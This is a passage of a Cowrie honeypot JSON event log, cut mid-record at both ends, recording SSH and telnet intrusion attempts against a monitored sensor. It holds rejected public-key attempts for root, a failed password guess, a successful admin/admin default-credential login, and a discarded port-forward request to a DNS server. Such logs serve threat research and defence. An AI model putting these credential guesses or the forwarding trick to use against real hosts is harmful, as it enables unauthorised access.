c"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:51.276271Z","src_ip":"208.87.242.107","session":"f11d29058aa2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:b2:17:1d:d0:41:83:0e:01:25:86:f2:51:c7:a0:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4l9Q79U5dMRmdtMde6yKlNzXKjOy2vGGgXYKSXvAJN+rbnrZ3S6BiU74TCznK7PvTKAtZcwXrcWmQ+EQLuxRjJVRH/KmdaU3w4Es+ZuUd83RrD7fMr8wiATdu6tiJJnwuNNLNNBB2wGAqBLjQrCfMU59cGHEjO9dh3bJ79rVcYkZ8X+v6zA95GzU4QsbhYfwVrnhC7j43Qy8ZYsM6hyLfz9OAWCcSS8SJxUF5fb8G9rGgWirHRNwzNEjjT7xIv0Vjo1NvgythcQuGAGqKG6eWJp9UfjO54Ss95JVkAt69Q5lUydZC8jUOCGev7stmOt7tZxq9WAZWEJgnO82QULcl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:b2:17:1d:d0:41:83:0e:01:25:86:f2:51:c7:a0:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:51.629955Z","src_ip":"208.87.242.107","session":"f11d29058aa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:b2:17:1d:d0:41:83:0e:01:25:86:f2:51:c7:a0:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4l9Q79U5dMRmdtMde6yKlNzXKjOy2vGGgXYKSXvAJN+rbnrZ3S6BiU74TCznK7PvTKAtZcwXrcWmQ+EQLuxRjJVRH/KmdaU3w4Es+ZuUd83RrD7fMr8wiATdu6tiJJnwuNNLNNBB2wGAqBLjQrCfMU59cGHEjO9dh3bJ79rVcYkZ8X+v6zA95GzU4QsbhYfwVrnhC7j43Qy8ZYsM6hyLfz9OAWCcSS8SJxUF5fb8G9rGgWirHRNwzNEjjT7xIv0Vjo1NvgythcQuGAGqKG6eWJp9UfjO54Ss95JVkAt69Q5lUydZC8jUOCGev7stmOt7tZxq9WAZWEJgnO82QULcl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:51.637755Z","src_ip":"208.87.242.107","session":"f11d29058aa2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:ad:8a:b2:91:b5:6e:99:04:78:c2:1d:16:77:1a:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClomyQxZIwKk8GYzZ/ff6mkNyEYnPduLZEbZ3X8vyzLFsORLF19w25NSPV65009R+Cc6Fdr4wpNCI2gzqXVH08+yNi3lJ/rzaEXjVLwhvRBiFiGxXeBVOJKXhu7o/Zresd8Y3g/KK7uJT8y2NGHrYC5lIyqpickbgZz57BFMifhFn+iILv5YmVBFdeCP3sOHwVc9+tAiWALntVkDdfpwhN+pA0gruMIl+AyUyIA02bXZnwj47QYuX/AWYJG54D42Z6rHDk0/29vW/T+D+Eiab2NnRZVB5dghXi5OgysiPH0z0D0n/FDGt2OlsFnNi3U1Sbwvh3/GiULItdldPiMElBLTwN/NILI85bM0AZWG1J2ncBoR8SGe5G0ivZ6d2Atm2APkadPR7UOA/r7H/z6pAX3tCA2zsja24XYQU4Hg/vo/UZBo7D6yRRwZT/da3BbfQxm52eClej3CfZc4NFRHY4as+z64yMp4kMzlUVPH2nmI+xH1SnW7xmvDwXqt6q+8wG9rImY8NZJ92n4i6bOadt4rPAONLqcpzILeTabyNfdjHMiGPbUF6pc0s2fELXnrgX5c61v1VR6VBZk15D0lUjkUbwJAi4nYCoIZGVUhEZUel9aAI2lFYw7yUOqnyhM1G6ReOMXZCwQG1Egr6BDGNzJ8WWEjC6yi7dLTxhzW4q7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:ad:8a:b2:91:b5:6e:99:04:78:c2:1d:16:77:1a:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:51.713326Z","src_ip":"208.87.242.107","session":"f11d29058aa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:ad:8a:b2:91:b5:6e:99:04:78:c2:1d:16:77:1a:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClomyQxZIwKk8GYzZ/ff6mkNyEYnPduLZEbZ3X8vyzLFsORLF19w25NSPV65009R+Cc6Fdr4wpNCI2gzqXVH08+yNi3lJ/rzaEXjVLwhvRBiFiGxXeBVOJKXhu7o/Zresd8Y3g/KK7uJT8y2NGHrYC5lIyqpickbgZz57BFMifhFn+iILv5YmVBFdeCP3sOHwVc9+tAiWALntVkDdfpwhN+pA0gruMIl+AyUyIA02bXZnwj47QYuX/AWYJG54D42Z6rHDk0/29vW/T+D+Eiab2NnRZVB5dghXi5OgysiPH0z0D0n/FDGt2OlsFnNi3U1Sbwvh3/GiULItdldPiMElBLTwN/NILI85bM0AZWG1J2ncBoR8SGe5G0ivZ6d2Atm2APkadPR7UOA/r7H/z6pAX3tCA2zsja24XYQU4Hg/vo/UZBo7D6yRRwZT/da3BbfQxm52eClej3CfZc4NFRHY4as+z64yMp4kMzlUVPH2nmI+xH1SnW7xmvDwXqt6q+8wG9rImY8NZJ92n4i6bOadt4rPAONLqcpzILeTabyNfdjHMiGPbUF6pc0s2fELXnrgX5c61v1VR6VBZk15D0lUjkUbwJAi4nYCoIZGVUhEZUel9aAI2lFYw7yUOqnyhM1G6ReOMXZCwQG1Egr6BDGNzJ8WWEjC6yi7dLTxhzW4q7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:51.717741Z","src_ip":"208.87.242.107","session":"f11d29058aa2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:95:7c:39:28:23:8c:31:e0:23:9e:ec:7f:90:37:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDzO6DMPYVbhX6tHc+Ukofof2WNrYv4q+plWQ+aLaHGMjDLzvsOxz31UOk6zaXyynyuQZsbyw/jg0B7x0X6KZWL0Ezr1kByIIqqgFQY9g8LUep2CTQwVuuq13PMT4DuwjKqSYWKqL0XB+EzOshXrqHD11GsvA0AcgLelvjVAYMK/B4RQ25NOg/WOaMZcoCf2kH+ySL4GpVZl/dBEb8RQwrQlwmpni2o2g7M23yuNjZhp0aO+bUSQu2i128z8otxQzJaZgdFxuEJ+nXZmDuGjh2YSOnl1oT6RzdA6R1ROc4hHjSVISSQFHOGTmAiW1yMO5dISjaiTYE9rwZ0VLnRCVbrcWZHmh69YmW/kG6wG5PRQb9ToIZongqUoJDlcA2N6Oj9AGUyaIKDxtI6rSA/pS6cKJYin3UJD2PYTOADBmt3n6mn/Zn1Ex9clBZ5YdnPxrwr+QzCmgscPeY2H2s82AdKQkMdlI+8CS0rBf6KAfdIL5NkemMcqE6qIoHZrqIDJ5POjHgOT94hlzlq4EEw+iweaV1Q5TNJuc0cVapSQPovKAq+LlLt1An0FyEK1gMiUU5FgO0wgWzYQdUcXwrm823lWmd/uCHQlOAYi1+OyVEfnbzJipodMdlEn2km80uQbO4KETEnvSN9cD5utNFXCciGI/lZwrSy+toDbl293F44Ow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:95:7c:39:28:23:8c:31:e0:23:9e:ec:7f:90:37:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:51.793894Z","src_ip":"208.87.242.107","session":"f11d29058aa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:95:7c:39:28:23:8c:31:e0:23:9e:ec:7f:90:37:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDzO6DMPYVbhX6tHc+Ukofof2WNrYv4q+plWQ+aLaHGMjDLzvsOxz31UOk6zaXyynyuQZsbyw/jg0B7x0X6KZWL0Ezr1kByIIqqgFQY9g8LUep2CTQwVuuq13PMT4DuwjKqSYWKqL0XB+EzOshXrqHD11GsvA0AcgLelvjVAYMK/B4RQ25NOg/WOaMZcoCf2kH+ySL4GpVZl/dBEb8RQwrQlwmpni2o2g7M23yuNjZhp0aO+bUSQu2i128z8otxQzJaZgdFxuEJ+nXZmDuGjh2YSOnl1oT6RzdA6R1ROc4hHjSVISSQFHOGTmAiW1yMO5dISjaiTYE9rwZ0VLnRCVbrcWZHmh69YmW/kG6wG5PRQb9ToIZongqUoJDlcA2N6Oj9AGUyaIKDxtI6rSA/pS6cKJYin3UJD2PYTOADBmt3n6mn/Zn1Ex9clBZ5YdnPxrwr+QzCmgscPeY2H2s82AdKQkMdlI+8CS0rBf6KAfdIL5NkemMcqE6qIoHZrqIDJ5POjHgOT94hlzlq4EEw+iweaV1Q5TNJuc0cVapSQPovKAq+LlLt1An0FyEK1gMiUU5FgO0wgWzYQdUcXwrm823lWmd/uCHQlOAYi1+OyVEfnbzJipodMdlEn2km80uQbO4KETEnvSN9cD5utNFXCciGI/lZwrSy+toDbl293F44Ow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:51.798408Z","src_ip":"208.87.242.107","session":"f11d29058aa2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:93:8a:52:ae:03:04:ac:45:5c:11:69:e8:f2:30:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUhe3Y1l54IAAcdnsE5ezcgLIpebksqH1K4tjdefdQgqtvItRqOvVp962hbRSRHo86lxVppZ2p5NC1dkFo4yg7zHVlEatJTGeaDRYnLlB0RXoh15OqAj+/cCOMd5uMLy9fQ0h7OsoYQNo158Aow4QL1oT/zoG9k/IefnihjA/MdKSm/tYFovV2lik3zZmuiVK3PaZQrxQS9sN9eJJ/54Nx7/EQ/Ss4W5ptB874mM9Z+ErjXMvj0w1nHODqHSk8qZI8GKdbORLsSpqVbEhQ4Pbbn7u0y/HkyCOGSFppA4ssMZvg7zAupt+F+I9t49e+gYKrZFmNhwJR7spolGIgNXMKvUUhKdl8fBhGQgeUKjtap1yc8B8FLBOnU69CvOhyOY240BEuqg8YS2L16frvjxxwvQ9N/WXI/HxAHJiHi6FOhgi6XIQjx1eYtLkGWQ64iy1WxOVIU/FWAlloBROkIRgaLqh6W1Jxn05I8W0p9WMR6jSqV7HxdCeadi/CHNpvK5bJE/J2v4ENYHVkkxbMd+f5IkVZbIxHa/DpqQChfQi5ITnwnNEHGowF0KWyb+ddwmyF82pOsuM53zW3Oa8OU4sHr1rVUf1hwQsm7eBGuFmXCcVIA1OdQLSWl6FZGKFWigsP31x12mdm+v16sSJw/wi8k1h4XICDOo1lpvqN8NCiSw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:93:8a:52:ae:03:04:ac:45:5c:11:69:e8:f2:30:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:51.876858Z","src_ip":"208.87.242.107","session":"f11d29058aa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:93:8a:52:ae:03:04:ac:45:5c:11:69:e8:f2:30:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUhe3Y1l54IAAcdnsE5ezcgLIpebksqH1K4tjdefdQgqtvItRqOvVp962hbRSRHo86lxVppZ2p5NC1dkFo4yg7zHVlEatJTGeaDRYnLlB0RXoh15OqAj+/cCOMd5uMLy9fQ0h7OsoYQNo158Aow4QL1oT/zoG9k/IefnihjA/MdKSm/tYFovV2lik3zZmuiVK3PaZQrxQS9sN9eJJ/54Nx7/EQ/Ss4W5ptB874mM9Z+ErjXMvj0w1nHODqHSk8qZI8GKdbORLsSpqVbEhQ4Pbbn7u0y/HkyCOGSFppA4ssMZvg7zAupt+F+I9t49e+gYKrZFmNhwJR7spolGIgNXMKvUUhKdl8fBhGQgeUKjtap1yc8B8FLBOnU69CvOhyOY240BEuqg8YS2L16frvjxxwvQ9N/WXI/HxAHJiHi6FOhgi6XIQjx1eYtLkGWQ64iy1WxOVIU/FWAlloBROkIRgaLqh6W1Jxn05I8W0p9WMR6jSqV7HxdCeadi/CHNpvK5bJE/J2v4ENYHVkkxbMd+f5IkVZbIxHa/DpqQChfQi5ITnwnNEHGowF0KWyb+ddwmyF82pOsuM53zW3Oa8OU4sHr1rVUf1hwQsm7eBGuFmXCcVIA1OdQLSWl6FZGKFWigsP31x12mdm+v16sSJw/wi8k1h4XICDOo1lpvqN8NCiSw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:51.880704Z","src_ip":"208.87.242.107","session":"f11d29058aa2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:df:61:1f:16:de:81:70:f3:98:3f:a6:18:92:55:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC63sMZyLBOblhttjLb2qNyA7WExDXzalWj1Hy9h0RNfyA6J41+u0J1sPALxm/bWvnObJlhlbmeEmd7MQ2bU9bIQ22xUa87l2XAxLO6+IEnuGgIcg7P3gV3Y2z4ET7HAF8jjpKQ3ZNDei6cHypeDi8xhLzB9sz/YShovqua9eTNJ+uenhhBygEScyfPjYVQwmYc9kIeyvTgYjgnthDiLHr2i2ImX/iBmSZeOVePBANBwxGBF8+61CxQIaDYLL9TXilInWCBq3XcZxn+at4fYKx/xRMlPQMULEgbV9hr2algLDhujgIrY95sxZuC1PU9dQKZuGphp3RJ1rkOrjvgMyG4N5n0FpvOAIgU3nxfgRGPnsIly/jgHuAbtdwGu8v27E3DRAgIACmIa04UUD+QnfhyCDW78BleM7U3g4lzQtkPTqqxq4j5ApL6oUIwgIUOio4fYNwHyXNKDHyBp8gGKz7BQ5OCPukBwYXBSrZbzv3DrHXotf1Ql8NcOV1h+EbliYAmjCPjcLRF/+hNZGMipnZpqPkFvMHMXxZ3PDmlypp7Cqr7G4ZltbFS06OmiLb1P/ImY3hQKjKihbpn4iHqgAFnLGxl8XSGnTlntV8RNPTgW62os2WaltLyHyvnCNiwsZUgzDphJRE46sM6n604mL8bR3IOuUNCb/Yl6AYO8Q7HqQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:df:61:1f:16:de:81:70:f3:98:3f:a6:18:92:55:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:51.959902Z","src_ip":"208.87.242.107","session":"f11d29058aa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:df:61:1f:16:de:81:70:f3:98:3f:a6:18:92:55:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC63sMZyLBOblhttjLb2qNyA7WExDXzalWj1Hy9h0RNfyA6J41+u0J1sPALxm/bWvnObJlhlbmeEmd7MQ2bU9bIQ22xUa87l2XAxLO6+IEnuGgIcg7P3gV3Y2z4ET7HAF8jjpKQ3ZNDei6cHypeDi8xhLzB9sz/YShovqua9eTNJ+uenhhBygEScyfPjYVQwmYc9kIeyvTgYjgnthDiLHr2i2ImX/iBmSZeOVePBANBwxGBF8+61CxQIaDYLL9TXilInWCBq3XcZxn+at4fYKx/xRMlPQMULEgbV9hr2algLDhujgIrY95sxZuC1PU9dQKZuGphp3RJ1rkOrjvgMyG4N5n0FpvOAIgU3nxfgRGPnsIly/jgHuAbtdwGu8v27E3DRAgIACmIa04UUD+QnfhyCDW78BleM7U3g4lzQtkPTqqxq4j5ApL6oUIwgIUOio4fYNwHyXNKDHyBp8gGKz7BQ5OCPukBwYXBSrZbzv3DrHXotf1Ql8NcOV1h+EbliYAmjCPjcLRF/+hNZGMipnZpqPkFvMHMXxZ3PDmlypp7Cqr7G4ZltbFS06OmiLb1P/ImY3hQKjKihbpn4iHqgAFnLGxl8XSGnTlntV8RNPTgW62os2WaltLyHyvnCNiwsZUgzDphJRE46sM6n604mL8bR3IOuUNCb/Yl6AYO8Q7HqQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:51.963764Z","src_ip":"208.87.242.107","session":"f11d29058aa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:52.039203Z","src_ip":"208.87.242.107","session":"f11d29058aa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":37254,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c2fe2e4cdbb","protocol":"ssh","message":"New connection: 87.251.64.176:37254 (10.17.0.5:22) [session: 0c2fe2e4cdbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:15:07.210880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:15:07.216736Z","src_ip":"87.251.64.176","session":"0c2fe2e4cdbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:15:07.321629Z","src_ip":"87.251.64.176","session":"0c2fe2e4cdbb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:15:07.615021Z","src_ip":"87.251.64.176","session":"0c2fe2e4cdbb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:15:07.717520Z","session":"0c2fe2e4cdbb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:15:07.816988Z","src_ip":"87.251.64.176","session":"0c2fe2e4cdbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:15:08.090874Z","src_ip":"87.251.64.176","session":"0c2fe2e4cdbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":52126,"dst_ip":"159.203.135.109","dst_port":22,"session":"8702222c515b","protocol":"ssh","message":"New connection: 193.32.162.145:52126 (159.203.135.109:22) [session: 8702222c515b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:16:08.614685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:16:08.622295Z","src_ip":"193.32.162.145","session":"8702222c515b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:16:08.723819Z","src_ip":"193.32.162.145","session":"8702222c515b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shredrum","message":"login attempt [root/shredrum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:16:09.027540Z","src_ip":"193.32.162.145","session":"8702222c515b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:16:10.144480Z","src_ip":"193.32.162.145","session":"8702222c515b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":35104,"dst_ip":"10.17.0.5","dst_port":23,"session":"de9d475a7856","protocol":"telnet","message":"New connection: 180.235.129.180:35104 (10.17.0.5:23) [session: de9d475a7856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:19.428462Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.131.185","src_port":25188,"dst_ip":"10.17.0.5","dst_port":22,"session":"d00dcf7a7e46","protocol":"ssh","message":"New connection: 176.65.131.185:25188 (10.17.0.5:22) [session: d00dcf7a7e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:22.652550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:22.657889Z","src_ip":"176.65.131.185","session":"d00dcf7a7e46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc",